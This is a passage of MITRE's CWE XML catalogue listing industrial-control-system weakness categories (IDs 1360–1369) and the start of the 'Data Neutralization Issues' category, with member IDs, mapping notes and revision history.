					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1360" Name="ICS Dependencies (&amp; Architecture)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "ICS Dependencies (&amp; Architecture)" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.</Summary>
         <Relationships>
            <Has_Member CWE_ID="1367" View_ID="1358"/>
            <Has_Member CWE_ID="1368" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1361" Name="ICS Supply Chain" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "ICS Supply Chain" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.</Summary>
         <Relationships>
            <Has_Member CWE_ID="1369" View_ID="1358"/>
            <Has_Member CWE_ID="1370" View_ID="1358"/>
            <Has_Member CWE_ID="1371" View_ID="1358"/>
            <Has_Member CWE_ID="1372" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1362" Name="ICS Engineering (Constructions/Deployment)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "ICS Engineering (Constructions/Deployment)" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.</Summary>
         <Relationships>
            <Has_Member CWE_ID="1373" View_ID="1358"/>
            <Has_Member CWE_ID="1374" View_ID="1358"/>
            <Has_Member CWE_ID="1375" View_ID="1358"/>
            <Has_Member CWE_ID="1376" View_ID="1358"/>
            <Has_Member CWE_ID="1377" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1363" Name="ICS Operations (&amp; Maintenance)" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "ICS Operations (&amp; Maintenance)" super category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022.</Summary>
         <Relationships>
            <Has_Member CWE_ID="1378" View_ID="1358"/>
            <Has_Member CWE_ID="1379" View_ID="1358"/>
            <Has_Member CWE_ID="1380" View_ID="1358"/>
            <Has_Member CWE_ID="1381" View_ID="1358"/>
            <Has_Member CWE_ID="1382" View_ID="1358"/>
            <Has_Member CWE_ID="1383" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1364" Name="ICS Communications: Zone Boundary Failures" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "Zone Boundary Failures" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Within an ICS system, for traffic that crosses through network zone boundaries, vulnerabilities arise when those boundaries were designed for safety or other purposes but are being repurposed for security." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="669" View_ID="1358"/>
            <Has_Member CWE_ID="754" View_ID="1358"/>
            <Has_Member CWE_ID="668" View_ID="1358"/>
	    <Has_Member CWE_ID="212" View_ID="1358"/>
	    <Has_Member CWE_ID="434" View_ID="1358"/>
	    <Has_Member CWE_ID="494" View_ID="1358"/>
	    <Has_Member CWE_ID="829" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248" Section="ICS Communications"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Boosting CWE Content" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-26</Contribution_Date>
               <Contribution_Comment>Suggested weaknesses to add to this category.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Category>
      <Category ID="1365" Name="ICS Communications: Unreliability" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "Unreliability" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Vulnerabilities arise in reaction to disruptions in the physical layer (e.g. creating electrical noise) used to carry the traffic." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="1384" View_ID="1358"/>
	    <Has_Member CWE_ID="1247" View_ID="1358"/>
	    <Has_Member CWE_ID="1261" View_ID="1358"/>
	    <Has_Member CWE_ID="1332" View_ID="1358"/>
	    <Has_Member CWE_ID="1351" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1258"/>
            <Reference External_Reference_ID="REF-1248" Section="ICS Communications"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Boosting CWE Content" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-26</Contribution_Date>
               <Contribution_Comment>Suggested weaknesses to add to this category.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Category>
      <Category ID="1366" Name="ICS Communications: Frail Security in Protocols" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "Frail Security in Protocols" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Vulnerabilities arise as a result of mis-implementation or incomplete implementation of security in ICS implementations of communication protocols." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="327" View_ID="1358"/>
            <Has_Member CWE_ID="358" View_ID="1358"/>
	    <Has_Member CWE_ID="325" View_ID="1358"/>
	    <Has_Member CWE_ID="290" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1259"/>
            <Reference External_Reference_ID="REF-1248" Section="ICS Communications"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Boosting CWE Content" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-26</Contribution_Date>
               <Contribution_Comment>Suggested weaknesses to add to this category.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Category>
      <Category ID="1367" Name="ICS Dependencies (&amp; Architecture): External Physical Systems" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "External Physical Systems" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Due to the highly interconnected technologies in use, an external dependency on another physical system could cause an availability interruption for the protected system." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="1247" View_ID="1358"/>
            <Has_Member CWE_ID="1338" View_ID="1358"/>
            <Has_Member CWE_ID="1357" View_ID="1358"/>
            <Has_Member CWE_ID="1384" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248" Section="ICS Dependencies (&amp; Architecture)"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Boosting CWE Content" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-01-24</Contribution_Date>
               <Contribution_Comment>Suggested weaknesses to add to this category.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Category>
      <Category ID="1368" Name="ICS Dependencies (&amp; Architecture): External Digital Systems" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "External Digital Systems" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "Due to the highly interconnected technologies in use, an external dependency on another digital system could cause a confidentiality, integrity, or availability incident for the protected system." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="15" View_ID="1358"/>
            <Has_Member CWE_ID="440" View_ID="1358"/>
            <Has_Member CWE_ID="470" View_ID="1358"/>
            <Has_Member CWE_ID="610" View_ID="1358"/>
            <Has_Member CWE_ID="638" View_ID="1358"/>
            <Has_Member CWE_ID="1059" View_ID="1358"/>
            <Has_Member CWE_ID="1068" View_ID="1358"/>
            <Has_Member CWE_ID="1104" View_ID="1358"/>
            <Has_Member CWE_ID="1329" View_ID="1358"/>
            <Has_Member CWE_ID="1357" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248" Section="ICS Dependencies (&amp; Architecture)"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Boosting CWE Content" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-01-24</Contribution_Date>
               <Contribution_Comment>Suggested weaknesses to add to this category.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Category>
      <Category ID="1369" Name="ICS Supply Chain: IT/OT Convergence/Expansion" Status="Incomplete">
         <Summary>Weaknesses in this category are related to the "IT/OT Convergence/Expansion" category from the SEI ETF "Categories of Security Vulnerabilities in ICS" as published in March 2022: "The increased penetration of DER devices and smart loads make emerging ICS networks more like IT networks and thus susceptible to vulnerabilities similar to those of IT networks." Note: members of this category include "Nearest IT Neighbor" recommendations from the report, as well as suggestions by the CWE team. These relationships are likely to change in future CWE versions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="636" View_ID="1358"/>
            <Has_Member CWE_ID="284" View_ID="1358"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-1248" Section="IT/OT Convergence/Expansion"/>
         </References>
	 <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
	   <Note Type="Relationship">Relationships in this category are not authoritative and subject to change. See Maintenance notes.</Note>
	   <Note Type="Maintenance">This category might be subject to CWE Scope Exclusion SCOPE.SITUATIONS (Focus on situations in which weaknesses may appear).</Note>
	   <Note Type="Maintenance">This category was created in CWE 4.7 to facilitate and illuminate discussion about weaknesses in ICS with [REF-1248] as a starting point. After the release of CWE 4.9 in October 2022, this has been under active review by members of the "Boosting CWE" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG). Relationships are still subject to change. In addition, there may be some issues in [REF-1248] that are outside of the current scope of CWE, which will require consultation with many CWE stakeholders to resolve.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>New Categories of Security Vulnerabilities (NCSV) Technical Project Team (TPT)</Submission_Name>
               <Submission_Organization>Securing Energy Infrastructure Executive Task Force</Submission_Organization>
               <Submission_Date>2022-03-09</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationship_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>"Boosting CWE Content" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-01-24</Contribution_Date>
               <Contribution_Comment>Suggested weaknesses to add to this category.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Category>
      <Category ID="137" Name="Data Neutralization Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to the creation or neutralization of data using an incorrect format.</Summary>
         <Relationships>
            <Has_Member CWE_ID="76" View_ID="699"/>
            <Has_Member CWE_ID="78" View_ID="699"/>
            <Has_Member CWE_ID="79" View_ID="699"/>
            <Has_Member CWE_ID="88" View_ID="699"/>
            <Has_Member CWE_ID="89" View_ID="699"/>
            <Has_Member CWE_ID="90" View_ID="699"/>
            <Has_Member CWE_ID="91" View_ID="699"/>
            <Has_Member CWE_ID="93" View_ID="699"/>
            <Has_Member CWE_ID="94" View_ID="699"/>
            <Has_Member CWE_ID="117" View_ID="699"/>
            <Has_Member CWE_ID="140" View_ID="699"/>
            <Has_Member CWE_ID="170" View_ID="699"/>
            <Has_Member CWE_ID="463" View_ID="699"/>
            <Has_Member CWE_ID="464" View_ID="699"/>
            <Has_Member CWE_ID="641" View_ID="699"/>
            <Has_Member CWE_ID="694" View_ID="699"/>
            <Has_Member CWE_ID="791" View_ID="699"/>
            <Has_Member CWE_ID="838" View_ID="699"/>
            <Has_Member CWE_ID="917" View_ID="699"/>
            <Has_Member CWE_ID="1236" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
